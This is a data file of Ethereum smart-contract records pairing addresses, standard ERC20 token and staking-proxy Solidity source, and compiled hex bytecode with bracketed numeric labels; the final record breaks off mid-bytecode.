0x608060405234801561001057600080fd5b50600436106100b45760003560e01c80638da5cb5b116100715780638da5cb5b146101a4578063b0416f6a146101c2578063bc197c81146101f2578063e32ab69314610222578063f23a6e6114610240578063f2fde38b14610270576100b4565b806301ffc9a7146100b95780631330359a146100e95780633af4185c1461011957806364928cec146101375780636c1e560914610167578063715018a61461019a575b600080fd5b6100d360048036038101906100ce9190611567565b61028c565b6040516100e09190611796565b60405180910390f35b61010360048036038101906100fe9190611493565b610306565b6040516101109190611796565b60405180910390f35b610121610809565b60405161012e91906117cc565b60405180910390f35b610151600480360381019061014c9190611493565b61082f565b60405161015e9190611796565b60405180910390f35b610181600480360381019061017c91906112f0565b610d32565b6040516101919493929190611751565b60405180910390f35b6101a2610e73565b005b6101ac610efb565b6040516101b991906116b3565b60405180910390f35b6101dc60048036038101906101d791906112f0565b610f24565b6040516101e99190611796565b60405180910390f35b61020c6004803603810190610207919061131d565b610f44565b60405161021991906117b1565b60405180910390f35b61022a610f5c565b60405161023791906117cc565b60405180910390f35b61025a600480360381019061025591906113f9565b610f82565b60405161026791906117b1565b60405180910390f35b61028a600480360381019061028591906112f0565b610f98565b005b60007f4e2312e0000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806102ff57506102fe82611090565b5b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038c90611807565b60405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e985e9c533306040518363ffffffff1660e01b81526004016103f29291906116ce565b60206040518083038186803b15801561040a57600080fd5b505afa15801561041e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610442919061153a565b610481576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047890611847565b60405180910390fd5b6000806000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a4ac9aa8866040518263ffffffff1660e01b81526004016104e19190611867565b608060405180830381600087803b1580156104fb57600080fd5b505af115801561050f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053391906114d3565b9350935093505060018060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506040518060800160405280600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815250600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030155905050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a33308660016040518060400160405280600181526020017f31000000000000000000000000000000000000000000000000000000000000008152506040518663ffffffff1660e01b815260040161072a9594939291906116f7565b600060405180830381600087803b15801561074457600080fd5b505af1158015610758573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f4f9df41799776fd9fc8f3c63ca71ca367c826c7b7da714db7c2806da833cbb9f86856040516107f4929190611882565b60405180910390a46001935050505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b590611807565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e985e9c533306040518363ffffffff1660e01b815260040161091b9291906116ce565b60206040518083038186803b15801561093357600080fd5b505afa158015610947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096b919061153a565b6109aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a190611847565b60405180910390fd5b6000806000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6d31179866040518263ffffffff1660e01b8152600401610a0a9190611867565b608060405180830381600087803b158015610a2457600080fd5b505af1158015610a38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5c91906114d3565b9350935093505060018060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506040518060800160405280600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815250600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002015560608201518160030155905050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a33308660016040518060400160405280600181526020017f31000000000000000000000000000000000000000000000000000000000000008152506040518663ffffffff1660e01b8152600401610c539594939291906116f7565b600060405180830381600087803b158015610c6d57600080fd5b505af1158015610c81573d6000803e3d6000fd5b50505050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f4f9df41799776fd9fc8f3c63ca71ca367c826c7b7da714db7c2806da833cbb9f8685604051610d1d929190611882565b60405180910390a46001935050505092915050565b600080600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169350600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549250600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201549150600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015490509193509193565b610e7b6110fa565b73ffffffffffffffffffffffffffffffffffffffff16610e99610efb565b73ffffffffffffffffffffffffffffffffffffffff1614610eef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee690611827565b60405180910390fd5b610ef96000611102565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60016020528060005260406000206000915054906101000a900460ff1681565b600063bc197c8160e01b905098975050505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600063f23a6e6160e01b90509695505050505050565b610fa06110fa565b73ffffffffffffffffffffffffffffffffffffffff16610fbe610efb565b73ffffffffffffffffffffffffffffffffffffffff1614611014576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100b90611827565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b906117e7565b60405180910390fd5b61108d81611102565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000813590506111d581611abb565b92915050565b6000815190506111ea81611abb565b92915050565b60008083601f840112611206576112056119cc565b5b8235905067ffffffffffffffff811115611223576112226119c7565b5b60208301915083602082028301111561123f5761123e6119d1565b5b9250929050565b60008151905061125581611ad2565b92915050565b60008135905061126a81611ae9565b92915050565b60008083601f840112611286576112856119cc565b5b8235905067ffffffffffffffff8111156112a3576112a26119c7565b5b6020830191508360018202830111156112bf576112be6119d1565b5b9250929050565b6000813590506112d581611b00565b92915050565b6000815190506112ea81611b00565b92915050565b600060208284031215611306576113056119db565b5b6000611314848285016111c6565b91505092915050565b60008060008060008060008060a0898b03121561133d5761133c6119db565b5b600061134b8b828c016111c6565b985050602061135c8b828c016111c6565b975050604089013567ffffffffffffffff81111561137d5761137c6119d6565b5b6113898b828c016111f0565b9650965050606089013567ffffffffffffffff8111156113ac576113ab6119d6565b5b6113b88b828c016111f0565b9450945050608089013567ffffffffffffffff8111156113db576113da6119d6565b5b6113e78b828c01611270565b92509250509295985092959890939650565b60008060008060008060a08789031215611416576114156119db565b5b600061142489828a016111c6565b965050602061143589828a016111c6565b955050604061144689828a016112c6565b945050606061145789828a016112c6565b935050608087013567ffffffffffffffff811115611478576114776119d6565b5b61148489828a01611270565b92509250509295509295509295565b600080604083850312156114aa576114a96119db565b5b60006114b8858286016111c6565b92505060206114c9858286016112c6565b9150509250929050565b600080600080608085870312156114ed576114ec6119db565b5b60006114fb878288016111db565b945050602061150c878288016112db565b935050604061151d878288016112db565b925050606061152e878288016112db565b91505092959194509250565b6000602082840312156115505761154f6119db565b5b600061155e84828501611246565b91505092915050565b60006020828403121561157d5761157c6119db565b5b600061158b8482850161125b565b91505092915050565b61159d816118d8565b82525050565b6115ac816118ea565b82525050565b6115bb816118f6565b82525050565b60006115cc826118ab565b6115d681856118b6565b93506115e6818560208601611994565b6115ef816119e0565b840191505092915050565b6116038161194c565b82525050565b6116128161195e565b82525050565b60006116256026836118c7565b9150611630826119f1565b604082019050919050565b6000611648601b836118c7565b915061165382611a40565b602082019050919050565b600061166b6020836118c7565b915061167682611a69565b602082019050919050565b600061168e6019836118c7565b915061169982611a92565b602082019050919050565b6116ad81611942565b82525050565b60006020820190506116c86000830184611594565b92915050565b60006040820190506116e36000830185611594565b6116f06020830184611594565b9392505050565b600060a08201905061170c6000830188611594565b6117196020830187611594565b61172660408301866116a4565b6117336060830185611609565b818103608083015261174581846115c1565b90509695505050505050565b60006080820190506117666000830187611594565b61177360208301866116a4565b61178060408301856116a4565b61178d60608301846116a4565b95945050505050565b60006020820190506117ab60008301846115a3565b92915050565b60006020820190506117c660008301846115b2565b92915050565b60006020820190506117e160008301846115fa565b92915050565b6000602082019050818103600083015261180081611618565b9050919050565b600060208201905081810360008301526118208161163b565b9050919050565b600060208201905081810360008301526118408161165e565b9050919050565b6000602082019050818103600083015261186081611681565b9050919050565b600060208201905061187c60008301846116a4565b92915050565b600060408201905061189760008301856116a4565b6118a460208301846116a4565b9392505050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006118e382611922565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061195782611970565b9050919050565b600061196982611942565b9050919050565b600061197b82611982565b9050919050565b600061198d82611922565b9050919050565b60005b838110156119b2578082015181840152602081019050611997565b838111156119c1576000848401525b50505050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f54726962655374616b65723a207374616b65642063726561746f720000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54726962655374616b65723a206e6f7420617070726f76656400000000000000600082015250565b611ac4816118d8565b8114611acf57600080fd5b50565b611adb816118ea565b8114611ae657600080fd5b50565b611af2816118f6565b8114611afd57600080fd5b50565b611b0981611942565b8114611b1457600080fd5b5056fea26469706673582212201aebb3bb5692de8eae4d5ef6eda5be214e9e1f48b996833a9da93168a697617e64736f6c63430008070033
[ 7 ]
0xf3ac29187a8e543d814cce2bc70d332eaf034603
pragma solidity ^0.5.2; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } contract XAEA is ERC20, ERC20Detailed, ERC20Burnable { constructor() ERC20Detailed('XAEA-12 Musk', 'XAEA', 0) public { _mint(msg.sender, 100_000_000_000); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b41146103bf578063a457c2d714610442578063a9059cbb146104a8578063dd62ed3e1461050e576100cf565b806342966c68146102eb57806370a082311461031957806379cc679014610371576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc610586565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610628565b604051808215151515815260200191505060405180910390f35b6101c561063f565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610649565b604051808215151515815260200191505060405180910390f35b6102696106fa565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610711565b604051808215151515815260200191505060405180910390f35b6103176004803603602081101561030157600080fd5b81019080803590602001909291905050506107b6565b005b61035b6004803603602081101561032f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107c3565b6040518082815260200191505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061080b565b005b6103c7610819565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104075780820151818401526020810190506103ec565b50505050905090810190601f1680156104345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61048e6004803603604081101561045857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bb565b604051808215151515815260200191505060405180910390f35b6104f4600480360360408110156104be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610960565b604051808215151515815260200191505060405180910390f35b6105706004803603604081101561052457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610977565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b5050505050905090565b60006106353384846109fe565b6001905092915050565b6000600254905090565b6000610656848484610b5d565b6106ef84336106ea85600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2790919063ffffffff16565b6109fe565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006107ac33846107a785600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d4790919063ffffffff16565b6109fe565b6001905092915050565b6107c03382610d66565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108158282610eb8565b5050565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b15780601f10610886576101008083540402835291602001916108b1565b820191906000526020600020905b81548152906001019060200180831161089457829003601f168201915b5050505050905090565b6000610956338461095185600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2790919063ffffffff16565b6109fe565b6001905092915050565b600061096d338484610b5d565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a7257600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b9757600080fd5b610be8816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d4790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115610d3657600080fd5b600082840390508091505092915050565b600080828401905083811015610d5c57600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610da057600080fd5b610db581600254610d2790919063ffffffff16565b600281905550610e0c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2790919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b610ec28282610d66565b610f5b8233610f5684600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d2790919063ffffffff16565b6109fe565b505056fea265627a7a7231582045a75e869d9a22e34777c5a02939f972c919ac2d008949ea64e1b19a6ebefbf964736f6c63430005110032
[ 38 ]
0xf3ac300784f226a98638ef727dc79430aeaff563
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Staking { function depositsOf(address) external view returns (uint256[] memory); } contract StakingProxy { function balanceOf(address account) public view returns (uint256) { return Staking( 0xd09656a2EE7E5Ee3404fAce234e683D3337dA014 ).depositsOf(account).length; } }
0x608060405234801561001057600080fd5b506004361061002b5760003560e01c806370a0823114610030575b600080fd5b61004361003e3660046100ee565b610055565b60405190815260200160405180910390f35b6040516371d4ed8d60e11b81526001600160a01b038216600482015260009073d09656a2ee7e5ee3404face234e683d3337da0149063e3a9db1a9060240160006040518083038186803b1580156100ab57600080fd5b505afa1580156100bf573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100e7919081019061011e565b5192915050565b60006020828403121561010057600080fd5b81356001600160a01b038116811461011757600080fd5b9392505050565b6000602080838503121561013157600080fd5b825167ffffffffffffffff8082111561014957600080fd5b818501915085601f83011261015d57600080fd5b81518181111561016f5761016f6101e3565b8060051b604051601f19603f83011681018181108582111715610194576101946101e3565b604052828152858101935084860182860187018a10156101b357600080fd5b600095505b838610156101d65780518552600195909501949386019386016101b8565b5098975050505050505050565b634e487b7160e01b600052604160045260246000fdfea264697066735822122036b27d6b717bf07419930651273604c29eb5eee41d2103a1faaeff59c37cd2fd64736f6c63430008070033
[ 38 ]
0xf3ae2c9f870edce7c46edbd94870d20795fc8ba8
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract HongKonger is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "HongKonger"; symbol = "HKER"; decimals = 18; _totalSupply = 852000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673